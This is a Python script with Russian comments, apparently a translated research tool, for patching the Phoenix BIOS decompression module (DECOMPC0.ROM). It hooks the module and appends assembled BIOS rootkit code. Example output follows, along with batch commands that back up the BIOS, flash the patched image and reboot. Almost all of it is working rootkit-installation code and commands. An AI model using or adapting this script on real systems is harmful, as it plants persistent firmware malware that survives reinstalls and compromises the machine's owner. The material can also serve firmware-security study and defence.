#!/usr/bin/python
import os,struct,sys
###############################################
# Скрипт для патчинга модуля распаковки BIOS - Автор Уэсли Вайнберг
# Приложение Phoenix BIOS Editor (для Windows) сгенерирует несколько файлов модулей, включая модуль распаковки, который будет называться «DECOMPC0.ROM».
# Эти файлы сохраняются в C:\Program Files\Phoenix Bios Editor\TEMP (или по похожему адресу) после открытия файла BIOS WPH. С помощью этого скрипта можно изменить файл модуля распаковки.
# После внесения изменений, в BIOS Editor можно вносить любые изменения в модули BIOS - BIOS Editor сгенерирует новый файл BIOS WPH.
# В качестве альтернативы модуль распаковки может быть извлечен с помощью phnxdeco.exe, но мы не сможем осуществить повторную сборку.
#Этот скрипт требует, чтобы NASM присутствовал в системе, в которой он запущен.
#
# INPUT:
# Этот скрипт для патчинга требует, чтобы имя и путь к asm-файлу руткита BIOS были переданы в качестве аргументов в командной строке.
#
# OUTPUT:
# Этот скрипт изменяет файл DECOMPC0.ROM, расположенный в том же каталоге, что и скрипт, так, чтобы он запускал asm-код руткита BIOS.
# Отображение информации об использовании
if len(sys.argv) < 2:
print "Modify and rebuild Phoenix BIOS DECOMP0.ROM module. Rootkit ASM code filename
required!"
exit(0)
# Поиск кодового имени руткита
shellcode = sys.argv[1].lower()
# Транслировать ассемблерный код для внедрения. NASM должен присутствовать в системе, иначе это не удастся!
os.system('nasm %s' % shellcode)
# Открыть и отобразить размер скомпилированного кода руткита
shellcodeout = shellcode[0:len(shellcode)-4]
decomphook = open(shellcodeout,'rb').read()
print "Rootkit code loaded: %d bytes" % len(decomphook)
# Следующая строка содержит ассемблерные команды, которые будут помещены в 0x23 в ROM файле распаковки.
# ROM распаковки содержит заголовок, за которым следует ряд команд push, а за ними команда CLD. Этот код будет внедрен сразу после нее и перезапишет ряд команд mov.
# Они должны вызываться кодом руткита до возврата, чтобы можно было продолжить стандартные функции распаковки.
# Команда ассемблера, содержащаяся ниже, представляет собой Near Call, который перейдет к концу ROM-а распаковки, в который был помещен код руткита.
# Далее следуют три команды NOP в качестве филлеров.
minihook = '\xe8\x28\x04\x90\x90\x90'
# Следующее будет работать, но это абсолютный вызов, что не является идеальным вариантом!
# minihook = '\x9a\x5A\x04\xDC\x64\x90' # call far +0x45A
# Загрузка ROM файла распаковки
decorom = open('DECOMPC0.ROM','rb').read()
# Точка перехвата в файле - 0x23, сразу после команды CLD
hookoffset=0x23
# Вставляет содержимое перехвата в ROM распаковки, перезаписав то, что было там ранее
decorom = decorom[:hookoffset]+minihook+decorom[len(minihook)+hookoffset:]
# Заполняет ROM распаковки сотней команд NOP.
# В этом нет необходимости, но так легче определить, где произошло изменение.
decorom+="\x90"*100+decomphook
# Добавляет еще 10 NOP в конце.
decorom=decorom+'\x90'*10
# Пересчитывает размер ROM, чтобы можно было обновить заголовок
decorom=decorom[:0xf]+struct.pack("<H",len(decorom)-0x1A)+decorom[0x11:]
# Сохраняет пропатченный ROM распаковки поверх предыдущей копии
out=open('DECOMPC0.ROM','wb')
out.write(decorom)
out.close()
# Вывод результатов
print "The DECOMPC0.ROM file has now been patched."

python patchdecomp.py biosrootkit.asm

Rootkit code loaded: 1845 bytes
The DECOMPC0.ROM file has now been patched.

@rem Этот файл скопирует BIOS и проверяет, был ли он пропатчен ранее.
@rem Копирование
WinPhlash\WinPhlash.exe /ro=BIOSORIG.WPH
@rem Проверка, был ли BIOS уже пропатчен
Python\PortablePython_1.1_py2.6.1\App\python CheckFlash.py WinPhlash\BIOSORIG.WPH

@rem Этот файл загружает файл с именем "BIOSPATCHED.WPH" в BIOS и перезагружает систему, когда закончит.
WinPhlash\WinPhlash.exe /bu=BIOSBACKUP.WPH /I BIOSPATCHED.WPH